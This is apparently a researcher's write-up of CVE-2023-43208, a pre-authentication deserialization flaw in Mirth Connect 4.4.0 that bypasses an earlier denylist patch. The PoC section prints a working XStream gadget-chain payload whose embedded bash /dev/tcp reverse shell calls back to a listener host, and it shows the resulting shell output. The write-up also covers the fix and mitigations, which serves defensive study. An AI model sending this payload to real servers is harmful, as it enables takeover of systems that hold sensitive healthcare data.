CVE-2023–43208: Mirth Connect Pre-Auth RCE Through an Incomplete Patch

CVE-2023–43208 is an unauthenticated remote code execution vulnerability affecting NextGen Mirth Connect versions before 4.4.1. What makes this vulnerability interesting is that it came from an incomplete patch for CVE-2023–37679. Mirth Connect 4.4.0 introduced a security fix, but the changes didn't fully prevent the deserialization attack.

I wanted to take a closer look at this vulnerability and reproduce it in my lab. I tested Mirth Connect 4.4.0 using my own METIS module and was able to obtain a shell session as the mirth user. Long story short METIS is a c2 exploitation framework I built to make exploitation easier. Inspired by Metasploit and RouterSploit.

In this writeup, I'll go through the vulnerability, the issue with the original patch, the technical details behind the RCE, and the results from my reproduction.

The cause of this vuln

Mirth Connect uses the Java XStream library to deserialize XML into Java objects. The problem is that processing untrusted serialized objects can become dangerous when an attacker is able to introduce classes and object interactions that lead to unintended code execution. In the vulnerable Mirth Connect implementation, certain endpoints process XML payloads before the authentication check is performed. This creates an attack path where an unauthenticated request can reach the deserialization functionality.

The issue isn't that XML is being processed. It's that untrusted XML can cause unsafe object deserialization in a context where authentication hasn't yet been enforced.

This combination is what makes the vulnerability serious.

How the original patch was bypassed

CVE-2023–43208 is closely related to CVE-2023–37679, an earlier unauthenticated RCE vulnerability in Mirth Connect.

Mirth Connect 4.4.0 attempted to address the original issue by introducing a denylist to block certain dangerous classes during XStream deserialization.

However, a denylist only blocks the classes it knows about. It doesn't necessarily prevent every possible combination of classes from being abused.

In this case, the original fix blocked the use of ProcessBuilder, but the researchers at Horizon3.ai found another route using classes from third-party Java libraries.

Their research identified EventBindingInvocationHandler from Apache Commons Lang and InvokerTransformer from Apache Commons Collections as part of an alternative gadget chain.

This allowed the deserialization vulnerability to be exploited despite the previous security fix.

The important takeaway here is that blocking known dangerous classes isn't the same as restricting deserialization to explicitly trusted types.

Technical reference: https://horizon3.ai/attack-research/disclosures/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/

Reproducing CVE-2023–43208

For my reproduction, I used Mirth Connect 4.4.0 in a controlled lab environment.

I tested the target using my METIS exploit module:

exploit/multi/http/mirth_connect_xstream_rce_cve_2023_43208

The module first queried the server version through the /api/server/version endpoint.

The server returned:

4.4.0

METIS identified the version as potentially vulnerable because it was older than the fixed release, 4.4.1.

The module then proceeded with the configured exploitation workflow.

As you can see here this is a vulnerable version.

A shell was obtained successfully after exploiting this vulnerability.

Obtaining a shell session

During the test, the application returned HTTP 500 after accepting the crafted request. That response was consistent with the expected behavior of this exploit, but the HTTP status alone wouldn't be enough to establish successful code execution.

The next output showed an incoming shell connection and a newly registered session.

I interacted with the session and ran id to identify the execution context.

The result was:

uid=1000(mirth) gid=1000(mirth) groups=1000(mirth)

Running whoami returned:

mirth

I also listed the contents of the current directory and observed Mirth Connect application files and directories, including conf, logs, webapps, and server-lib.

This confirmed that I had obtained command execution in the context of the Mirth service account in my lab as seen in the pictures.

The PoC

Two requests gets sent out. One is the GET request to see if the host is vulnerable. The second request is a POST request, this is where the exploitation happens.

Version detection — GET /api/server/version

GET /api/server/version HTTP/1.1 Host: 127.0.0.1:8443 User-Agent: Mozilla/5.0 (metis) Accept-Encoding: identity X-Requested-With: OpenAPI Connection: close

Observed response:

HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 5

4.4.0

Requests for /api/server/version

The response returned 4.4.0 revealing the vulnerable version.

XML deserialization request-POST /api/users

POST /api/users HTTP/1.1 Host: 127.0.0.1:8443 User-Agent: Mozilla/5.0 (metis) Content-Type: application/xml Accept-Encoding: identity X-Requested-With: OpenAPI Connection: close Content-Length: [calculated from body]

metis java.lang.Comparable <org.apache.commons.collections4.functors.ConstantTransformer> java.lang.Runtime </org.apache.commons.collections4.functors.ConstantTransformer> <org.apache.commons.collections4.functors.InvokerTransformer> getMethod java.lang.String [Ljava.lang.Class; getRuntime </org.apache.commons.collections4.functors.InvokerTransformer> <org.apache.commons.collections4.functors.InvokerTransformer> invoke java.lang.Object [Ljava.lang.Object; </org.apache.commons.collections4.functors.InvokerTransformer> <org.apache.commons.collections4.functors.InvokerTransformer> exec java.lang.String sh -c $@|sh . echo bash -c '0<&59-;exec 59<>/dev/tcp/172.17.0.1/4444;sh <&59 >&59 2>&59' </org.apache.commons.collections4.functors.InvokerTransformer> transform compareTo

This sends the crafted XML payload to the server with the reverse shell intact.

The bug

Look at the <iArgs><string> field — the shell command is HTML-entity-encoded:

sh -c $@|sh . echo bash -c '0<&59-;exec 59<>/dev/tcp/172.17.0.1/4444;sh <&59 >&59 2>&59'

After XML entity decoding by XStream, that becomes:

sh -c $@|sh . echo bash -c '0<&59-;exec 59<>/dev/tcp/172.17.0.1/4444;sh <&59 >&59 2>&59'

When we inject the reverse shell payload a shell will open up. This is the full compromise. A simple POST request with the crafted XML payload is enough to trigger the vulnerable processing path. If the transformer chain executes successfully, the embedded command attempts to establish a reverse shell to the specified listener, giving the attacker command execution on the Mirth Connect server.

194,149 Mirth Connect instances exposed

There are about 194,149 Mirth Connect instances exposed to the internet. Attackers can easily crawl the internet to detect this vulnerability.

How severe is the impact of this?

Unauthenticated remote code execution can allow an attacker to execute commands on a vulnerable server without first obtaining valid application credentials. For Mirth Connect deployments, this is concerning because the platform is used to integrate healthcare systems and exchange sensitive information. Depending on the service account's privileges and the surrounding environment, successful exploitation could lead to unauthorized access to data, disruption of services, or further compromise of the host and connected systems.

The actual impact depends on the deployment. In my reproduction, the shell ran as mirth, so the output demonstrates command execution under that account rather than root level access. Note that root level can be accessed on some instances.

The concerning part is, this is an RCE vuln that can gain attraction of ransomeware gangs.

Fix and mitigation

Mirth Connect 4.4.1 addressed this vulnerability by changing XStream's security configuration from a denylist to an allowlist of permitted classes. This is an important difference. Instead of trying to block every potentially dangerous class, an allowlist restricts deserialization to the types required by the application. Organizations running affected versions should upgrade to Mirth Connect 4.4.1 or a newer supported release and follow the vendor's upgrade guidance.

It's also worth reviewing externally accessible instances, restricting access to administrative interfaces, and investigating suspicious activity if a vulnerable server was exposed.

Official release notes: https://github.com/nextgenhealthcare/connect/wiki/4.4.1---What's-New

Conclusion

CVE-2023–43208 is a good example of how an incomplete security fix can leave an application vulnerable even after an earlier issue has supposedly been addressed. The problem involved unsafe XML deserialization, an authentication gap, and a denylist that didn't account for the alternative gadget chain. My reproduction against Mirth Connect 4.4.0 confirmed that the module could obtain a working session and execute commands as the mirth user.